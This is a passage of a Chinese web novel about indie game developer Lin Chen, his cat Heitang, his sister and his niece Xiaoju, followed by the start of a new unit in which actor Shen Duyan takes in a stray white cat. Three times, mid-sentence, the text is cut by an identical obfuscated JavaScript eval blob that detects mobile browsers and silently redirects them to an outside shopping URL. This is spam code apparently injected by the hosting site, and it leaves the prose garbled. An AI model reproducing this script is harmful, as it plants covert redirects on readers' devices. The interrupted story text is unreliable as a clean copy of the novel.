“为什么不去床上睡呢?”林忱戳了一下猫猫的耳朵尖儿,有些迷惑,想了想他略微迟疑地推断,“难道,你也喜欢做游戏?” 猫耳朵抖了抖,没动。 林忱觉得这个想法挺有道理,看看屏幕又看看小奶牛,“黑糖,那我们一起做这个游戏吧。” “你看,”林忱说,“主角卡在红头发的栅栏上了,这算是别人的领地对不对……” “黑糖,红头发是不是应该直接锤爆主角的狗头?” 林忱问完,看着黑糖。 黑糖还睡着,缩成个毛团,动也不动。他话音落下,等了几秒,就听到黑糖“嘤”了一声。 林忱琢磨了一下这声“嘤”的意思,觉得这是黑糖在予以肯定的回应。 “我也觉得。”林忱不由眼睛微亮,嘴角也微微带笑,“一个左勾拳,送主角一个熊猫眼。” “黑糖,”林忱信心十足地把这个想法加入设定中,想到另一个自己苦思冥想半天的点,又问,“黑糖……你看这里,这里我这样安排,你觉得好不好?” 黑糖的小手套拨拨耳朵,又“嘤”了一声,调整了下睡姿。 林忱点头,“嗯嗯,你也认同对不对?好,这里就按这样来。” “那这里呢?我是这样想的……” 这次,黑糖没有反应。林忱等了几秒,黑糖还是连胡须都没翘一下。 “你不同意吗?”林忱有些失望,“仔细想想,确实可以改动一下……” 这一晚的推进速度前所未有的快。 林忱完成任务的时候,屏幕右下角显示:03:09。 “好早。”林忱脑子里那些缠绕着的毛线团像是被一只突然伸进来的猫猫爪子简单粗暴地解开了,看到时间的时候,林忱惊讶。 他的夜间任务基本都要到6点左右才能完成,那个时候,天已经亮了。 事情做完,压力骤泄。再看小肚子随着呼吸缓慢起伏的黑糖,林忱只觉得一阵睡意上涌,忍不住打了个大大的哈欠,“好困。” 他把黑糖往怀里一捞,黑糖软软的像是个假猫一样瘫在他怀里。 走几步就到床边。林忱往床上一倒,头砸在枕头上,只是几秒钟,人已经失去了意识。 黑糖被他摔得迷迷瞪瞪地,睁开眼看着林忱就在身边。它走过去在林忱下巴上蹭了一下,舔了舔那瘦削的青年紧紧闭起的眼皮,屁股一歪,身体一软,猫猫头已经枕在了林忱的肩膀上。身体往前扭了扭,收了收爪子,贴在了林忱的胸口。 黑糖闭上了眼睛。 林忱下意识往里收了收手臂,裹住了小小的毛团子。 电脑仍旧开着,屏幕上是林忱的开发者日志,最新的文字写着: 本游戏开发监督:黑糖。(如有bug,找她投诉) “喵喵喵!!!” 林忱意识还在跟床缠绵不休,身体已经感觉到了可怕的力量正在凝视着他。 “喵!喵!喵喵喵!!!” 他揉着脸站起身,魂儿还在飘着,身体已经在往客厅走,嘴上熟练地吐出:“来了,我来了……你饿了你饿了我知道……黑糖,我过来了。” “来,吃粮。” 林忱拎着两袋子,毫无支撑力地一屁股坐在地上,两条长腿支棱着,他强自睁了睁眼,把粮往猫碗里倒,倒了大半碗推到一脸急切的黑糖面前。 “黑糖,”他把袋子夹起来,推到一边,上身倒在沙发上,侧着身体看黑糖“铲”粮,“慢点吃。” 黑糖吃着,他的脸贴在沙发上,侧头看着。 吃了一半,黑糖跳上茶几,从筐子里叼了个袋装小面包出来,放在他脸边。那熟门熟路的,都知道避开包装袋锯齿的那一边,以免硌嘴巴了。 每天上演的场面。 林忱已经熟悉了奇怪的这个环节,等袋装小面包贴在了他鼻尖上,他忍不住笑了一下。双眼皮微合,姿势放松,长了些的头发擦过脸侧。身体很舒服,精神也很松弛。 黑糖吃粮的时候,动静够大的。 林忱闭上眼睛,就这样短暂地打了个盹儿。 林忱更新的游戏又得到了网上那位同行兄弟的回复: 【忱哥,我有时候真的佩服你对于游戏的理解,你那些惊人的脑回路……】 【拜访邻居,结果被牛顶,头卡在人家栅栏上,被人家暴打。你才是真神。】 林忱难得收到这位专业游戏试玩这么“热情洋溢”的“赞美”,最近进度明显加快、于是空闲时间稍微多了一些的林忱正和黑糖玩隔着窗帘“躲猫猫”、隔着门“躲猫猫”的游戏,不大的运动量,让黑糖兴奋上头,也让林忱喘了喘。 他停下来,认真地回复:谢谢。 那位:…… 【不过内容倒是增加了很多啊忱哥,怎么推这么快】 【还有那个日志里的开发监督是谁啊,你新找的小伙伴?】 【黑糖,是小伙伴的化名吗?】 林忱在键盘上轻快地敲击:是真名,它就叫黑糖。 【……它?!】 游戏顺利进入了最后阶段。 周五下午放学,林忱在外卖软件上点了一个小蛋糕,让黑糖嗅了嗅,黑糖这次没有“yue”了表情,不过还是不感兴趣地到一边去了。 林忱:“黑糖,今天小桔过来。” 黑糖歪了歪脑袋。 林忱:“这是买给小桔吃的。” 一人一猫都有些心神不宁,坐在大门边的凳子上,眼巴巴地看着,听着门外的动静。 一阵轻快急促的脚步声逐渐靠近,林忱噌地站起来,黑糖一下子跳到他怀里。 按下门把手,门后一张快乐的笑脸露出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401748|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伴随着开心的小女孩嗓音,“舅舅!黑糖!” 她蹦进门口,书包在肩膀上上下一撞,热烈的气息扑面而来, “我来啦!” 林忱刚露出笑。黑糖在他身上使力,一个后蹬跳进小女孩已经圈起来的怀抱里。 胸口一痛,林忱“额”地一声抚着胸口差点跪下去。 小桔被黑糖疯狂蹭脸,蹭得直乐,“黑糖,黑糖!我也好想你呀!哈哈哈!” 黑糖软绵绵地叫:“喵嗷~” 小桔和黑糖亲亲热热地,完全没看到林忱受到“猫猫重击”之后的姿势。 林意跟在后面,拎着一袋子菜进来,眨眨眼:“小忱,没事吧?” 林忱默默站起身,摸了一下鼻子,接过林意手里的菜,“没事,姐。” 林忱跟在林意后面进厨房。 林意开了冰箱,上下翻看了一下,上周末带来的吃的,竟然吃的差不多了。 回头看着林忱,惊讶:“小忱,你自己弄着吃的?都吃完了?” 林忱点了点头,他视线不自觉往门外的黑糖身上瞟了一眼。这只小猫,不仅监督他制作游戏,还监督他陪它吃饭。如果他不老实吃点啥,他怀疑它会把自己的猫粮塞他嘴里。 林意:“最近不用搞游戏了?” 林忱摇摇头。 林意看着林忱脸上的神情,觉得自己也问不出什么有用的。林忱还在忙着做游戏,那他的生活就还是和以前一样,日夜颠倒、稳定地违背规律。 林忱可不是那种会好好吃饭的人,有许多时候,他会随便吃一口,还有的时候,过了饭点就不吃了。吃得不好,睡得不好,所以他这么瘦,她这么操心。事情总不会没有缘由的。 但饭菜竟然都消耗完了。 “啊啊啊!黑糖!这是蛋糕!是你和舅舅给我准备的惊喜吗?!”听见女儿笑着嚷嚷,林意探头朝外看了一眼。黑糖正端坐在一块蛋糕的后面,小桔眼睛亮亮的。 要说这段时间有什么变化,只有这只黑白小奶牛猫了。难道,弟弟养了只猫之后,生活作息也跟着正常起来了吗?仔细看看,脸色好像也好多了。 “买蛋糕了?”林意没再多想,看着林忱问。这个舅舅虽然不像人家舅舅那么光鲜亮丽,但总是尽可能地宠着小桔。而小桔,对他也是非常喜欢的。 “舅舅!妈妈!”小桔裙角飞扬,脸上笑容灿烂,她跑到厨房门口,“一起吃蛋糕!” 林忱带小桔进房间里玩,他打开自己的新游戏,教小桔用键盘操纵屏幕上的像素小人跳跃移动。 因为他保持了小人的原设定,所以小人是通体白色的穿戴。 小桔叫他小白。 光是让小白原地转圈都让小桔很开心,她操控着小白一直往海滩上跑,一直跑一直跑。游戏里的环境是很美的,小桔一边玩一边给在一边的小奶牛讲解。 黑糖半个猫猫头挡住了一小块屏幕,小桔不介意,笑嘻嘻地:“黑糖也喜欢舅舅做的游戏!” 林忱说:“是和黑糖一起做的。” 小桔惊讶地睁大眼睛,“黑糖也会做游戏!” 林忱点头,他的眼神太坚定了。小桔脸上慢慢地露出佩服,“黑糖好棒啊!它是天下第一聪明猫猫吧。” 林忱郑重再点头。 小桔严肃脸,“舅舅,我觉得,黑糖当时想跟你回家……” “一定是它闻出来你会做游戏!” “它选择跟你回家,是背负着神圣的使命的!” 林忱:…… “啊?是这样吗?”他不太肯定地说。 15. 第 15 章 小桔那晚离开林忱家的时候,对林忱说:“舅舅,小白一个人好孤单哦。” 林忱送她们出门,脑海里回想着这句话,又想起了网上某位不断催进度的兄弟曾经说过的跟随宠物。 没有指令,屏幕上的主角就静静地站着,看着他。 “其实一个人也不会觉得孤单。” 林忱嘴唇翕动,声音低低地在房间响起。 “喵!喵!喵喵喵!!!”客厅突然传来某奶牛的粗放的嚎叫。 林忱:…… 差一秒不吃就会饿疾缠身的小BOSS向你发动了攻击。 玩家持续掉血中。 “来了来了!”林忱哼了一声,一边说一边起身,“你怎么不当着小桔的面这么嚎呢?” 第二天小桔上完美术班再来玩的时候,惊奇地发现林忱的游戏里,游戏主角(她命名为小白)的身边,多了一只像素猫。这只小猫黑白相间,尾巴翘着。 小白一走动,小猫就跟着走来走去,寸步不离。 这明晃晃就是黑糖呀。 林忱向小桔演示绑定小猫跟随的条件: 在这个世界的某一个下雨天,走到海边某块礁石后面,看一会儿小猫不耐烦地甩尾巴。 等小猫转过身来,主角假装要走。小猫生气。 主角再次假装要走,小猫更生气。 于是主角走回到小猫身边。这时候小猫就会自动绑定,成为跟随宠物。 它会一直跟随着主角。 林忱是这么讲解的,小桔却说:“我不走,我陪着黑糖。”她操控她的主角小白走到黑糖身边坐下,和黑糖一起望向大海。 林忱:“这样,它也许不会跟你绑定。” 小桔笑,“没事呀。黑糖愿意跟着就跟着,不愿意,我就留在这里陪它玩。” 林忱改了触发条件,关于猫猫的设定变得完全随机,不可琢磨。玩家发现猫猫后,可以采取任意行动,而猫猫会自由选择是否跟随。而且跟随后,显示的也不是宠物,而是——家人。 游戏上线那天,林忱抱着黑糖,点下“发布”按钮。他指着像素小猫,对黑糖说:“你看,像不像你。” 黑糖翘了翘尾巴,催着林忱出门。 家里的猫粮消耗结束。尽管林忱很想网购送货上门,但他也怕随便买个什么粮黑糖不喜欢。也许去宠物店里看看,可以让黑糖自己挑选自己爱吃的猫粮。 黑糖这么聪明,对吃饭这么认真上心。 它肯定不会像自己每次点外卖那么纠结,需要选上好几个点,最后饿过头了,干脆选择不吃吧。 林忱换了身衣服出门,因为用猫包背着黑糖,虽然还像之前那样戴着口罩和帽子,却再也不能装作在路上无人注意。 黑糖坐在猫包里,随着林忱的走路一颠一颠地,但它过于淡定地透过猫包的玻璃罩子打量着一切。看到人从旁边走过,还要勾着头多看几眼。 林忱缩脑袋。 到了宠物店门口,林忱视线扫过玻璃窗里的宠物乐园。那猫爬架上,以前那些蹦跳玩耍的猫崽大多不见了,换了些同样活泼可爱的猫崽。一定,是去某个人类家里过更好的生活了吧。 “黑糖。”林忱朝后叫了一声。 “喵嗷~”黑糖回应。 二十分钟后,林忱扫码付款。 宠物店的老板笑眯眯地:“您刚刚下单的商品比较多,我们一会儿让人直接给您送货上门。您说您就住在这个小区对吗?那您留个详细地址,我们一个小时之后就都给您送过去。” 林忱看着打出来的长长单据,呆了呆,最后点点头,“嗯。谢谢。” 老板笑得像个弥勒佛,“不客气的。下次您来,我们还可以给个优惠价的。欢迎下次光临哦。” 林忱在一迭声的热情欢迎里,狼狈而逃。 “黑糖,”林忱找了个僻静的地方站了会儿压压惊,把猫包抱在怀里,对把脸贴着玻璃罩的小奶牛由衷地感叹,“原来养你这么费钱。” 黑糖粉粉的小猫鼻子贴着玻璃罩,留下了小小的印子。 林忱戳了一下,眼里泛起笑意,“走了,回家了。” 游戏上线后,林忱会跟着做一些维护工作,随时注意着游戏的数据和玩家的反馈。 网上那位兄台又来找他,可以说除了林忱之外,他就是最熟悉这个游戏的人了。 那位留言: 【忱哥,上线啦。看着数据还不错。】 【忱哥,你增加宠物设定啦。】 【这个猫猫就是宠物吧,等我把它收服。就是你了,去吧,大师球!】 【嗯……】 【嗯?】 【嗯?!】 【忱哥,这只猫怎么回事?!怎么还会朝我发动魔音攻击?!这合理吗?!】 【我确信这不是我想要的跟随宠物。】 【忱哥,你是魔鬼吧。】 看着对方发过来的游戏截图,黑白小团子正对着主角发出愤怒的咆哮。林忱嘴角翘了翘。 秋风渐起,寒意来袭。 黑糖的背毛厚实了一些,肚子上的毛摸着也更加柔软。它窝在穿着浅紫色卫衣的小桔身边,看着小桔从盒子里拿出了一件小小的黑色衣服。 林忱铲完猫砂从卫生间出来,一眼看见穿着一件黑色套头卫衣的黑糖。那衣服略微大了一点,奶牛猫两只白手套刚好从两个袖筒里传出来,显得两条前腿细溜溜的。 黑色的卫衣背后印着一个红色的爱心。黑色的卫衣搭配黑白色的小猫,让黑糖多了一丝内敛的帅气。 小桔拿着林意的手机对着黑糖拍照。 “黑糖,别动哦,就这个姿势帅!”小桔手指快速按下拍照键,一边拍一边夸,“再坚持五秒,黑糖,朝我看一下。哈哈,这个眼神帅!” 林忱看着黑糖严肃地板着猫猫脸,眼睛直直看着前方,忍不住也拿出了手机,点进了相机里。 “舅舅,黑糖是不是很帅!”小桔给林忱看自己拍的照片,“这衣服是妈妈和我一起挑的哦。和我身上这件一样,都是新买的。是妈妈给我和黑糖的生日礼物。” 林意轻轻摸了一下小桔的双马尾,“小桔很好看,黑糖也很帅。” 这一天是小桔的八岁生日,刚好也是黑糖来他们身边的第二个月。 林意负责买菜做饭。林忱负责给小桔和黑糖准备蛋糕。 桌上摆上了一个装饰满是可爱动物的蛋糕,小动物们都萌萌的,像是个动物园。正中间那只站起来张牙舞爪的,和黑糖约摸有六七分像。 小桔举着手机对着蛋糕拍照。 林忱举着手机对着小桔和蛋糕拍照。 黑糖的“蛋糕”也被林忱端了出来,放在黑糖面前。是个双层的猫罐头,上下还是不同口味的。正上面也似模似样地插着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401749|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一根蜡烛。 小桔赶紧又去拍黑糖的“蛋糕”。 黑糖已经迫不及待要去开动,被林忱掐着胳膊拦住。 小桔迅速连续拍了好多张,大声说:“好了好了好了,舅舅,让黑糖吃吧。” 林忱一松手,黑糖已经往前窜了一截,对着“蛋糕”吧唧吧唧地吃起来。 小桔还在拍照,林意走上前点燃蛋糕上的蜡烛,林忱关了客厅的灯。 “小桔,许愿吧。” 小桔的面庞在烛光里亮亮的,眼睛也亮亮的,她看着在场的人和猫,笑得开心,“妈妈,舅舅,黑糖,谢谢你们,我最喜欢你们了!我好幸福!” “我希望我们能一直在一起,明年也一起过生日!” 小桔呼地吹熄了所有的蜡烛。 林忱按亮了灯。 林意温柔地在小桔脸上摸了摸,“小桔又长大了一岁。” 林忱把藏在茶几下的礼物拿出来。他准备的是小桔最近喜欢的棉花娃娃。往她面前一摆,小桔就开心地欢呼起来。 林忱微微松口气:还是姐姐了解小桔。 送完这个,林忱又拿出额外准备的东西。一个方形的大盒子,盒子里是一套的以黑糖形象做的周边。有黑糖的玩偶,立牌,冰箱贴,还有钥匙扣,还有印着黑糖的本子、笔和文具盒。还有一个他游戏里的原始设定的主角和奶牛猫的拼豆,是小桔熟悉的像素版小白和黑糖。 小桔拆开礼物,尖叫:“是黑糖,都是黑糖!” 她扑上来抱住林忱,“谢谢舅舅!我最喜欢了!” 林忱僵住,耳朵立时红了。 三个人分了蛋糕,黑糖又像个质检员一样凑过来闻味道。小桔嘿嘿笑着把蛋糕上的“小黑糖”拿过来给黑糖闻,黑糖嗅了嗅,然后伸着舌头,狠狠地“yue”了一下。 林忱:…… 小桔:“哈哈哈哈哈。” 林意也不由得笑起来,小奶牛避之不及、一副你们两脚兽都在吃什么可怕的东西的震惊表情戳到了她的笑点。小桔笑得倒在她怀里,她也笑得收不住。 林忱拍了一张照片。画面里,黑糖嫌弃的表情生动,姐姐和外甥女笑得倒在沙发上。 林忱笑了一下。 林意抬头正好看到他眼中久久不散的笑意,挥挥手招呼他:“小忱,来,我们拍张合照。” 小桔抱着黑糖,左边坐着妈妈,右边坐着舅舅。他们紧紧地挨着她,她也紧紧地挨着他们。 手机用的延时拍摄,三二一的倒计时之后,屏幕上留下了一张三人一猫的合影。 大家凑在一起看屏幕上的照片。 林意端详着照片里的每一个,人也好,猫也好,眼角浅浅发红,“拍得真好。发给我。” “嗯。” 林忱把自己刚刚拍的照片全都发给林意,把拍的合影设置成自己的壁纸和屏保。 他放下手机,看到林意正从头到尾巴抚摸着不知何时凑到她身边的黑糖。黑糖挨挨蹭蹭,林意声音柔和,“哎呀,你这个小黑糖,还会撒娇呢。” 小桔对着林忱挤眉弄眼,两个人对望着笑了起来。 临走的时候,小桔跑过来抱抱林忱,“舅舅,谢谢你!要好好照顾黑糖哦!” 又跑过去抱抱黑糖,“黑糖,谢谢你!要好好照顾舅舅哦!” 最后跑过去拉林意的手,“妈妈,走,回家啦!” 16. 第 16 章 网上那位不知名网友给他发了链接。 林忱顺着链接摸进论坛里,论坛里他的游戏板块,有不少人发帖讨论。林忱有些吃惊,他觉得自己的游戏受众应该不多,但没想到反响还挺热烈的。 热帖里面有人说:我就想问有没有人能绑定那个邪恶小奶牛! 有人回:我也想知道…… 有人回:妈呀,谁懂啊,我每天从海滩那个礁石前面路过八百次,那个小奶牛理都不理我的。谁能比我惨?! 有人回:总比吸引了它注意力,然后被它魔音攻击的好吧。 有人回:emm……我怀疑这是狗策划的阴谋。 有人@了回:上面的,你还不知道吗?这个游戏作者是独立制作人,叫忱的。发布过好几款游戏了,游戏里的设定都有些神奇之处。 有人回:不对啊,这次的游戏介绍里,不是写着还有一个开发监督叫黑糖的吗? 有人回:黑糖?那只小奶牛不就叫黑糖吗? 有人回:啊?小奶牛叫黑糖吗?这么巧? 有人回:我也看到了,还说什么,如果有bug,就找黑糖。如果小奶牛就叫黑糖的话,它不就是这个游戏最大的bug吗?我怀疑它根本攻略不了! 有人回:兄弟,感受到你的怨念了。 有人回:不会此黑糖就是彼黑糖吧,黑糖……本体是一只猫?莫非制作人养了一只叫黑糖的猫? 有人回:这是怎么能够串联出来的,但我竟然觉得你可能真相了。不对,等等……你是怎么知道那只小奶牛叫黑糖的?不是绑定了之后才显示名字吗?? 有人回:等等,难道你成功绑定了邪恶奶牛boss?! 林忱看着那个被反复@的楼层详细解释了自己的攻略全过程。 吸引小奶牛的姿势要优雅,要漫不经心,要不做作。 遇到小奶牛发出魔音攻击不能离开,反而要走回来,听一会儿,领会精神。 然后去给小奶牛抓鱼,在三分钟之内必须抓到三条鱼,喂给小奶牛。全程陪伴小奶牛吃完,注意陪小奶牛吃鱼的时候,游戏主角也必须同时进食。 之后就可以绑定了。绑定了之后,小奶牛的名字显示为黑糖。不管到哪里,黑糖都会跟随。如果遇到需要和npc社交的时候,小奶牛的存在可以提高npc好感度,减少主角被直接暴打的可能性。 总结:花时间绑定邪恶黑糖,很值。 林忱:…… 没想到真有人能写出攻略来。 也没想到有那么多人纷纷表示有趣,要自己试一试。 有人说:怀疑制作人的黑糖原型就是家里有一只叫黑糖的奶牛猫。 也有人说:制作人一定深受这只奶牛猫的压迫,最后精神崩溃了,于是放到游戏里,以此团结玩家,反抗猫猫怪的压迫。 帖子的最后一条,那个很荣幸领先百分之九十九点九的玩家,获得跟随宠物的层主说:最近很难熬,每天晚上玩这个游戏。希望自己就像是游戏里的主角一样,流浪到一个没有人的地方,给自己盖房子,找吃的,能自己一个人待着就好。但是后来,不管做什么都有黑糖陪着,走到哪里,黑糖都在。就像是有了一个小小的守护神,感觉好多了。 林忱瞅瞅旁边那只姿态慵懒,伸爪子拨着笔玩的小奶牛,“黑糖。” 他敲击键盘,回复帖子:黑糖是我养的猫。谢谢你玩我的游戏。 发完他就关闭了电脑,抱着黑糖去床上躺着去了。第一次回复玩家,他心里还是挺紧张的。 第二天再看那条回复,已经被赞了上百次。 下面有人回复: 制作人说话了! 猫是真的! 谢谢你的游戏! 果然是被邪恶奶牛怪压迫久了之后的反抗! …… 林忱读着每一条看到的回复,嘴角慢慢翘了起来。 “和玩家对话,好像也没什么可怕的。是吧,黑糖。邪恶奶牛怪。” 林忱裹上了厚厚的羽绒服,出门给黑糖补货猫罐头。 下了一场雪,外面行人不多。林忱的呼吸捂在口罩里,长长的围巾圈住脖颈和下巴,他仍旧怕冷地缩了缩。 “黑糖,冷不冷?” 林忱微敞的羽绒服领子里,钻出来一个猫猫头。黑色的猫耳朵在空气里抖了抖,大眼睛看着这个银装素裹的世界,一脸的好奇。 “喵~”黑糖叫了一声。 林忱双手抱着胸口的小家伙,把它托得稳稳的,“冷吧。下雪了,是冬天。” 黑糖生命里第一个冬天。 于是他们相互陪伴的第一个冬天。 路上偶有几个人行色匆匆,完全没注意到林忱和他怀里的猫。 林忱反而自得其乐,抱着黑糖慢慢往前走。 天上又下起了小雪花,一片小雪花落在林忱的眉心,又一片小雪花落在黑糖鼻尖。黑糖舔了舔鼻子,被凉的打了个哆嗦。 林忱笑。 过年之前,林忱的游戏又更新了好几次,那只很难攻略的小奶牛一直是最受“欢迎”的角色。 有不少玩家专门开帖子记录攻略全程。还有的玩家在其他网站上传了自己的受迫害攻略全程,迎来了许多粉丝喜闻乐见的嘲笑。 黑糖的热度奇高。很多人对现实中的那只叫黑糖的奶牛好奇不已。 响应玩家们的要求,林忱萌生了一个想法——做一个小小的独立APP。 他花了两个月的时间,做了一款叫《黑糖的日常》的云养猫游戏。 界面很简单,也完全没有肝和氪的设置。 一只黑白奶牛在房间里走来走去。可以喂它、摸它、陪它玩。它会困、会饿、会撒娇,偶尔会捣蛋,小概率会变成拆家怪,把窗帘扯成一条一条。 这个游戏没有明确的任务,也没有目标,就是养着。 他总是对黑糖说:“这样,就算不能养真猫的人,也能有一只猫陪着。” 黑糖蹭蹭他的手。 因为这款游戏更新得非常频繁,玩家总是能在里面解锁各种各样的彩蛋。有时候下载完更新,玩家一登录,就会解锁更加有趣的黑糖。 那些和别人一起养猫的乐趣,那些让人心尖发软的人猫互动,让很多人欲罢不能。 林忱把这个游戏的所有收入都捐给了动物保护组织。 已是深冬了,希望天下的动物们都能过个好年,过一个暖和的冬天。 堪称漫长的一学期终于结束了。 小桔的寒假完全是在林忱这边过的。林意还要正常上班,不能接送要去上绘画班的小桔。 于是林忱接过这个任务,每天都背着黑糖去接上完课的小桔。 他每次都会挑一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401750|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个僻静的角落等着小桔,如果不是他背上还背着只猫,培训学校的大爷估计早就报警把他逮起来了。毕竟穿得厚实又遮得严实,完全看不清面目,还老是躲着别人的视线,这一看就非常可疑了。 下课铃声响了。 等了一分钟,小桔第一个冲出楼里,跑到林忱身边,兴奋地叫:“舅舅!黑糖!” 她接过猫包,挂在自己的胸口。 林忱用两天学会了骑小电动,提醒小桔戴好帽子,围巾,口罩,又递给小桔一个小小的毯子。 小桔熟练地把毯子一裹,绕过自己的后背,又绕过猫包,密密实实地掖起来。 她坐在小电动的后座上,猫包就在他身前。 林忱骑上车,拧动油门。 小桔笑嘻嘻地看猫包里探头看她的小猫猫,“黑糖,你又来接我啦?!” 黑糖:“喵喵喵~~~” 小桔:“今天我在绘画班给你画了一幅画哦,老师说我画的可好看了呢。” 黑糖:“喵喵喵~~~” 小桔:“一会儿回家我就拿给你看。哦,对了,妈妈说今天要烧鱼吃哦,到时候我分点鱼片给你吃。” 黑糖:“喵喵喵~~~” 一人一猫你来我往,聊得挺开心。 “快过年了,黑糖,过年有很多好吃的哦。”小桔掰起手指头,数过年的时候会做的事情,想了想她又说,“我和舅舅和妈妈,也会给黑糖你准备过年的好吃的。” “过年我可以天天在家里陪你玩哦。” “你还可以陪我写作业。” 小女孩的声音消散在寒风里,小猫猫的叫声也随之消失。 林忱心里却留下了淡淡的暖意。这个冬天,似乎比往常的冬天要暖和一些呢。 小区里零散地有小孩子放起鞭炮来。时不时“啪”地一声,就会把黑糖吓一跳。 小桔捂着黑糖的耳朵,抱着它站在阳台上往下看,“人家放鞭炮呢,黑糖别害怕。” “舅舅会保护我们的。” 厨房里出来炸丸子的香气,小桔跟着黑糖往厨房跑,“妈妈,我想吃丸子。” 林意给她夹了一碗,“小心烫。” 又夹了一碗,“去,送给你舅舅吃。” 黑糖一无所获,眼巴巴望着。林意笑看它一眼,给它捏了几块刚切的鱼片,“喏,少不了你的。” 黑糖立刻叼在嘴里,狼吞虎咽。吃完又看着林意。 林意被它望着,没奈何又夹了一些:“好好好,继续吃吧。” “小馋猫。” “出去吃,小心被油崩着。” 林忱正在房间里给《黑糖的日常》的游戏更新新年背景和一些可供选择的新年装饰,还上线了一些猫猫新年服装。 喜庆的红色印在林忱的眼底。 瘦削的年轻人稍微长胖了一些,他想了想,又往APP里埋下了一个小彩蛋: 如果你连续签到365天,就会收到一行字—— 谢谢你陪伴了我一年。谢谢你坚定地选择我。 林忱领养黑糖将将半年,还不到365天呢。 但他虔诚地期盼着、期待着。也相信着:那是一个必然来到的节点。那之后,他们还会在一起很久很久。 “舅舅,吃丸子!” “喵!” 【单元二:完】 17.第 17 章 深夜,大雨。路上的车子飞驰,撞飞了雨帘。路上的水洼被车灯一个个照亮,又随着车流的涌动而亮了又灭。 “叔,今儿片场怎么样?”沈嘉泽在电话那头有点不放心。 沈渡言握着方向盘,看着远方的车像是河流一样弯弯曲曲的流淌向远方。路两旁的路灯和建筑上闪烁着的荧光,让一切看起来似真似幻。 “没什么。”沈渡言平静地说,“很顺利。” 沈嘉泽松一口气。这两天戏里突然又插进来一个女星,是个新人,能量却很大,一来就让编剧连夜加班,硬是为了她补了个角色进来。这女星一副小百花的清纯长相,在片场却总是自称沈渡言的粉丝,时不时找个机会贴过去。 沈嘉泽既怕沈渡言不懂现在圈里那套阴谋阳谋地被人坑了,又怕沈渡言脾气上来摔剧本走人,所以这两天都跟在沈渡言身边,前前后后地跟着,防备着。 “那就好。下这么大的雨,叔,你开车小心。” “嗯。闪电怎么样?”沈渡言问。 “没事,”说到闪电,沈嘉泽不由头疼,“医生说吃了点乱七八糟的,肠胃出了点问题。输了液,现在好多了。观察观察,估计明天就没事了。臭狗。” 如果不是突然接到家里阿姨的电话,说狗子出了点问题,沈嘉泽这会肯定是自己开车送沈渡言回家了。 沈渡言:“嗯。” “叔,等拍完了这个戏,”沈嘉泽有点犹豫,“你是怎么打算的?” 沈渡言打方向盘右转,顺着车道开得不快,看到什么,他的视线突然一凝。 沈嘉泽没听到沈渡言的回应,忍不住又喊了一声:“叔?” 还是没听到沈渡言回答,他一下有点儿急了,“叔,你没事吧。” 沈渡言略微回神,目光还停留在远方,车子已经慢慢靠边停了下来。 “没事,看到一只猫。” “啊?猫?” 是猫。 一只白色的长毛猫,即使在黑夜里,看着也是非常漂亮的猫。 路边的站台虽然有顶,但雨是斜斜下的,下得又挺大,扫进站台里,几乎把站台里面都打湿了。 它就蹲在公交车站台下那块唯一没有被雨打到的地方,端庄地蹲着,四条腿尽可能地贴在一起,尾巴缠绕放在前爪上。 暗夜里,白色的长毛猫仰头望着像是下个没完的雨,车灯驶过,时不时照亮它的眼睛。它就像是个小精灵。 沈渡言的车子停在站台前,那只猫的眼睛就朝里面看了过来。 沈渡言一愣,他觉得,它好像在看他。 前车窗的雨刮器兢兢业业地工作着,一阵阵的雨水顺着车窗沿往下流。 白猫突然站起身来,那雨水瞬间就把它的额头打湿了。它看着他,试探地往前迈了一步,又缩了回去,又往前迈了一步。 沈渡言:“好大的雨……” “害怕了吗?” 沈渡言看着它,它也看着他。手指在一个按钮上轻轻一按,副驾驶的车门静静地打开了。 更直接的眼神对视。 好漂亮的眼睛,沈渡言有些惊讶了。 白猫和他对视了几秒,不再迟疑,几个起落就冲破雨幕,跃进了沈渡言的车里。跳上副驾驶,它甩了甩身上的水。湿漉漉的,估计不太舒服。 沈渡言按下按钮,副驾驶的车门就慢慢关了起来。 打开空调,沈渡言调了一下风向和风速。转身从后面的小柜子里取出一条大毛巾,盖在了白猫的身上。他按着白猫轻轻揉了几下,就松手了。 白猫的脾气还不错,乖乖地任由他擦着毛。沈渡言松手,它也没有挣开身上的毛巾。 像是知道这个人类在给它擦毛取暖。 “先带你回去吧。”沈渡言跟白猫说了一声。 沈嘉泽一直在电话那头听着这边的动静,此刻终于忍不住开口,“叔,你带谁回去?” 沈渡言重新启动车子,“猫。路上遇到一只猫。” 车子开进车库,沈渡言下车,走到副驾驶,问,“我抱你?” 白猫没理他,自顾自从副驾驶跳了下来。他走,它就跟在后面往家里走。 